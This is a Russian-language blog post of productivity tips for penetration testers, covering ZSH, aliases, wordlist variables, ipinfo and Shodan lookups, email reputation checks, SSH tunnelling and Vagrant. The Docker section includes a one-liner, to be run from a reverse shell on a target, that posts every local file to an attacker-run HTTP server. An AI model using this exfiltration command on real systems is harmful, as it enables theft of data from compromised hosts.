В этой статье я задокументирую для Вас несколько небольших техник, команд и мелочей, которые точно облегчат Вашу повседневную жизнь в качестве пентестера, и которые просто сделают Ваше времяпровождение во время пентестера более приятным!
ZSH vs Bash, Aliases, Docker
ZSH
Одной из вещей, которая серьезно повлияла на мою продуктивность была ZSH, а точнее, такие плагины, как “Z”.
ZSH в сочетании с oh-my-zsh и включенным завершением smart tab делает навигацию по каталогам в вашем терминале намного более приятной и быстрой.
С моими текущеми настройками, я могу просто написать cd d/p/ad
, нажать tab
, и команда автоматически будет превращена Documents/Pentest/AD/
. Это один из ZSH плагинов которые я использую - "Z"
.
“Z” проанализирует историю ваших каталогов и выяснит, в какие каталоги вы заходите чаще всего. После нескольких часов работы, набрав z pentest
вы попадете в свой каталог pentest, z someproject
приведет Вам туда куда Вам надо независимо от того, где вы находитесь.....
Это трудно объяснить, но это магия 🔮
Aliases
Чтобы улучшить Ваше времяпровождение в оболочке, в Вашем .zshrc
or .bashrc
(scum), Вы можете указать свой alias, alias установит имя команды на все, что вы захотите.
Например:
alias nmap="grc nmap"
GRC раскрашивает приложение cli, это сделает nmap визуально приятнее и сделает ответы читабельней
Если вы дружите с оболочкой Linux, вы также знаете, что вы можете установить переменные используяEXPORT
.
gobuster -w $BIG -u https://10.10.10.145/
export DIRS_LARGE=/pentest/seclists/Discovery/Web-Content/raft-large-directories.txt
export DIRS_SMALL=/pentest/seclists/Discovery/Web-Content/raft-small-directories.txtexport FILES_LARGE=/pentest/seclists/Discovery/Web-Content/raft-large-files.txt
export FILES_SMALL=/pentest/seclists/Discovery/Web-Content/raft-small-files.txtexport BIG=/pentest/seclists/Discovery/Web-Content/big.txt
Установка этих каталогов позволит Вам получить к ним доступ, используя их псевдоним, например, в приведенном выше примере, где мы используем gobuster с $BIG, к использованию их полного пути. Это небольшой но хороший совет, так как он не только превращает длинную команду в одну строку, но и означает, что вам больше не нужно запоминать и вводить весь путь списка слов каждый раз, когда вам нужно — что может очень увеличить Вашу работоспособность, если вы регулярно перечисляете HTTP.
Docker:
Один из трюков для Докера это:
alias postfiledumphere='docker run --rm -it -p80:3000 -v "${PWD}:/data" rflathers/postfiledump'
Выполните эту команду и разместите дамп файла, а затем на вашей целевой машине (в hack the box или remote reverse shell) выполните следующее:
ls | xargs -I{} wget http://10.10.14.3/{} --post-file {}
Это приведет к перебору всех файлов в локальном каталоге и передаче их по протоколу HTTP. Это чрезвычайно полезно, если вы находитесь во встроенном устройстве или даже в заблокированном контейнере. Если у вас нет wget, вы можете использовать curl (который по дефолту есть в большинстве устройств).
Situational Awareness with IP’s
Если вам дали IP-адрес, и вам нужно узнать информацию об уязвимостях на нем, Вы с помощбю нижеприведенных команд, можете получить довольно хорошее представление о типе хоста, где он находится и что он делает.
IPInfo
Обычно, если мне дают IP-адрес, я делаю поиск с помощью ipinfo:
curl ipinfo.io/54.90.107.240
{
"ip": "54.90.107.240",
"hostname": "ec2-54-90-107-240.compute-1.amazonaws.com",
"city": "Virginia Beach",
"region": "Virginia",
"country": "US",
"loc": "36.8512,-76.1692",
"org": "AS14618 Amazon.com, Inc.",
"postal": "23465",
"readme": "https://ipinfo.io/missingauth"
}
IP Info вернет JSON с подробной информацией обо всем хосте, самое замечательное в этом то, что вы можете легко написать его по конвейеру в jquery.
Я склонен злоупотреблять bash для циклов такого рода, например, если у Вас есть, большой список IP-адресов то вот, что Вы можете сделать:
for ip in $(cat ips.txt); do echo -n "$ip: "; curl -s ipinfo.io/$ip | jq .org; done
54.90.107.240: "AS14618 Amazon.com, Inc."
54.90.107.120: "AS14618 Amazon.com, Inc."
54.90.107.241: "AS14618 Amazon.com, Inc."
54.90.107.242: "AS14618 Amazon.com, Inc."
54.90.107.243: "AS14618 Amazon.com, Inc."
Shodan
Вы, наверное, знаете о Шодане, но я просто обязан был упомянуть о нем для тех, кто еще не знает, так как это очень ценный инструмент.
Шодан постоянно сканирует все хосты в интернете. Это означает, что вы можете выполнить поиск хоста и посмотреть, что у него есть на данный хост.
shodan host 216.58.210.206
216.58.210.206
Hostnames: mrs04s09-in-f206.1e100.net;lhr48s11-in-f14.1e100.net
City: Mountain View
Country: United States
Organization: Google
Updated: 2019-08-17T19:28:38.408716
Number of open ports: 2Ports:
80/tcp
443/tcp
|-- SSL Versions: TLSv1, TLSv1.1, TLSv1.2, TLSv1.3
Email Recon
Небольшая хитрость, которая очень быстро выполнит проверку адреса электронной почты с помощью Email Recon:
curl emailrep.io/john.smith@gmail.com
{
"email": "john.smith@gmail.com",
"reputation": "high",
"suspicious": false,
"references": 91,
"details": {
"blacklisted": false,
"malicious_activity": false,
"malicious_activity_recent": false,
"credentials_leaked": true,
"credentials_leaked_recent": false,
"data_breach": true,
"last_seen": "07/27/2019",
"domain_exists": true,
"domain_reputation": "n/a",
"new_domain": false,
"days_since_domain_creation": 8773,
"suspicious_tld": false,
"spam": false,
"free_provider": true,
"disposable": false,
"deliverable": true,
"accept_all": false,
"valid_mx": true,
"spoofable": true,
"spf_strict": true,
"dmarc_enforced": false,
"profiles": [
"lastfm",
"pinterest",
"foursquare",
"aboutme",
"spotify",
"twitter",
"vimeo"
]
}
}
SSH Tunelling
Если Вы когда-либо выставляли порт сервера команды CobaltStrike извне и рассказывали об этом людям, вы получите много ненависти. Каково же решение? SSH — туннелирование.
Если у вас есть SSH-доступ к хосту, вы можете туннелировать порты (сопоставлять удаленные порты с локальными), динамически создавать SOCKS-прокси и многое другое.
Mapping remote port to local port
ssh -L localport:127.0.0.1:remoteport user@host
Хороший повод, чтобы подумать о синтаксисе SSH-туннелей и наконец-то разделить его на две части
ssh -L 127.0.0.1:8080:127.0.0.1:80 user@host
Это откроет локальный порт 8080, сопоставленный с портом 80 на удаленном сервере. К счастью для нас, SSH добр, поэтому сделаем вывод, что первый хост является локальным.
Opening a SOCKS proxy that routes from your server
SSH -D 8080 user@host
Данная команда откроет SOCKS-прокси на локальном порту 8080, вы можете изменить свой proxychains.conf, чтобы принять этот порт, а затем использовать proxychains перед каждой командой для маршрутизации трафика через данный хост.
Vagrant
Это классный маленький трюк, которому я научился, но сильно облегчил мне жизнь.
Как и Docker, vagrant может запускать экземпляры операционных систем и помещать вас в интерактивную оболочку.
Мой любимый — использование Ubuntu:
vagrant init hashicorp/precise32
vagrant up
vagrant ssh
cd /vagrant/
Вы будете перемещены в точную оболочку Ubuntu!
Подведя итоги
В заключение скажу, что трюки которые мы сегодня разобрали, действительно могут облегчить Вашу жизнь в качестве пентестера.
Не забудьте подпиcаться на наш канал!